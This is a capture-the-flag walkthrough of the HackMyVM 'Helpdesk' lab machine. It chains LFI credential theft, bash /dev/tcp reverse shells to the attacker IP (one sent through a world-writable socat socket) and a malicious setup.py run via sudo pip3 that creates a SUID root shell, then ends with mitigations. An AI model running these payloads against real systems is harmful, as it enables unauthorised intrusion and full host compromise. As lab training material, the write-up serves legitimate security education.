HackMyVM - Helpdesk Walkthrough
/ 5 min read
Table of Contents

Figure 1: Pwned machine
HackMyVM — Helpdesk Walkthrough
Step-by-step walkthrough of the Helpdesk vulnerable machine.
Introduction
This walkthrough demonstrates the process of identifying and exploiting vulnerabilities on the Helpdesk machine from HackMyVM. The machine simulates a corporate helpdesk portal and is designed to teach web enumeration, Local File Inclusion (LFI), log/parameter discovery, socket abuse, and privilege escalation via a misconfigured sudo rule.
Description
HelpDesk is a beginner-friendly CTF that revolves around a web app vulnerable to LFI. Using LFI we obtain source code and credentials, gain a web-based foothold with a reverse shell, escalate to the helpdesk user by abusing a world-writable UNIX socket, and ultimately escalate to root by abusing a NOPASSWD pip3 install sudo rule.
Lab setup
- Attacker: Kali Linux (host) —
192.168.56.101 - Target: Helpdesk VM —
192.168.56.102 - Virtualization: Oracle VirtualBox (isolated lab network)
- Tools:
nmap,feroxbuster,ffuf,curl,nc,socat,sudo,pip3
Reconnaissance
Scan the target:
nmap -T4 -A -v 192.168.56.102Relevant results:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu ...80/tcp open http Apache httpd|_http-title: HelpDesk Ticket SystemObservation: Apache web server hosting a HelpDesk ticket system (HTTP) and SSH.
Tip — Local DNS mapping
Add a hosts entry for convenience:
192.168.56.102 helpdeskYou can then use http://helpdesk/ instead of the raw IP.
Directory enumeration
Run feroxbuster to discover web endpoints:
feroxbuster --url "http://helpdesk/" \ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x .php,.html -s 301,302Notable endpoints found:
/login.php/index.php/ticket.php/panel.php→ redirects tologin.php/debug.php
ticket.php looked like a ticket viewer — it warranted parameter fuzzing.
Parameter fuzzing on ticket.php
Suspecting hidden parameters, ffuf was used to fuzz parameter names:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -u 'http://helpdesk/ticket.php?FUZZ=id' --fw 24Result: the parameter url returned distinct content with status 200 — an indicator it is processed by the application and could be vulnerable to LFI.
Testing the url parameter — LFI
Test LFI by requesting a local file:
http://helpdesk/ticket.php?url=/etc/passwdResponse contained /etc/passwd:
root:x:0:0:root:/root:/bin/bash...helpdesk:x:1001:1001::/home/helpdesk:/bin/bashConfirmed:
ticket.php?url=is vulnerable to Local File Inclusion.
Viewing login.php source via LFI
Include the login page to inspect source code:
curl "http://helpdesk/ticket.php?url=login.php"Found:
// Stored credentials$stored_user = 'helpdesk';
// SHA-512 hash for password: ticketmaster$stored_hash = '$6$ABC123$fLo2MacCV...';Username:
helpdesk— password hash corresponds toticketmaster.
Remote command panel & initial access
The discovered credentials worked on the web panel (SSH login failed). The panel provided a remote command interface.
Start a listener on the attacker machine:
nc -lvnp 4444Trigger a reverse shell from the web panel:
bash -c "bash -i >& /dev/tcp/192.168.56.101/4444 0>&1"Listener output:
listening on [any] 4444 ...connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 35698bash: cannot set terminal process group (847): Inappropriate ioctl for devicebash: no job control in this shellbash-5.2$Check identity:
idResult:
uid=33(www-data) gid=33(www-data) groups=33(www-data)We have a shell as www-data.
Enumeration from web shell — looking for escalation paths
List /opt:
ls -la /optOutput:
drwxr-xr-x 2 root root 4096 Aug 16 16:13 dev_serverdrwxr-xr-x 2 helpdesk helpdesk 4096 Sep 18 17:33 helpdesk-socket/opt/helpdesk-socket contains:
-rwxr-xr-x 1 helpdesk helpdesk 158 Aug 16 15:32 handler.shsrwxrwxrwx 1 helpdesk helpdesk 0 Sep 18 17:33 helpdesk.sock-rw-r--r-- 1 root root 184 Aug 16 15:44 serve.shView serve.sh:
cat serve.shContents:
#!/bin/bash
SOCKET="/opt/helpdesk-socket/helpdesk.sock"
[ -e "$SOCKET" ] && rm "$SOCKET"
/usr/bin/socat -d -d UNIX-LISTEN:$SOCKET,fork,mode=777 EXEC:/opt/helpdesk-socket/handler.shInterpretation (short): serve.sh starts a world-writable UNIX socket (helpdesk.sock). Each connection executes handler.sh. Any user can send commands — a potential escalation vector.
Escalating to helpdesk via the writable socket
On the attacker machine start a listener:
nc -lvnp 5555Send a reverse shell payload through the socket:
echo "/bin/bash -i >& /dev/tcp/192.168.56.101/5555 0>&1" | socat - /opt/helpdesk-socket/helpdesk.sockListener shows a new connection and shell:
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 59514bash: cannot set terminal process group (676): Inappropriate ioctl for devicebash: no job control in this shellbash-5.2$ iduid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)We are now the
helpdeskuser.
Privilege escalation to root — abusing sudo pip3 install
Check sudo rights:
sudo -lRelevant output:
User helpdesk may run the following commands on helpdesk: (ALL) NOPASSWD: /usr/bin/pip3 install --break-system-packages *This allows helpdesk to run pip3 install as root without a password. setup.py executes arbitrary code — route to root.
Build malicious package
Create folder and setup.py:
mkdir /tmp/evil && cd /tmp/evilcat > setup.py << 'EOF'from setuptools import setupimport os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
setup( name="evil", version="0.1", description="evil package", py_modules=[])EOFOr one-liner:
echo 'from setuptools import setup; import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); setup(name="evil", version="0.1", description="evil package", py_modules=[])' > /tmp/evil/setup.pyInstall using sudo:
sudo /usr/bin/pip3 install --break-system-packages .pip runs setup.py as root. Expected output:
Successfully built evilSuccessfully installed evil-0.1Get a root shell
A SUID copy of bash was created at /tmp/rootbash. Run it with -p to preserve privileges:
/tmp/rootbash -pCapture flags:
cat /root/root.txt /home/helpdesk/user.txtResult:
flag{request_has_been_escalated}flag{ticket_approved_by_thedesk}Summary & remediation
Attack path summary:
nmap→ identify HTTP serviceferoxbuster→ findticket.phpffuf→ discoverurlparameter- LFI → read files
- LFI → recover credentials
- Web panel → reverse shell as
www-data - Writable UNIX socket → reverse shell as
helpdesk sudo -l→pip3 installNOPASSWD → malicious package → root shell
Mitigations & lessons learned:
- Sanitize file inclusion parameters — whitelist paths.
- Avoid storing credentials in source code.
- Protect UNIX sockets — avoid
mode=777. - Restrict sudo rules — avoid interpreters as
NOPASSWD. - Audit tools like socat — restrict interfaces accessible by untrusted users.
Conclusion
Helpdesk demonstrates how chained misconfigurations — LFI, exposed credentials, a world-writable socket, and an overly permissive sudo rule — can lead to full compromise. Proper coding practices, secure socket permissions, and restrictive sudo policies can prevent similar attacks.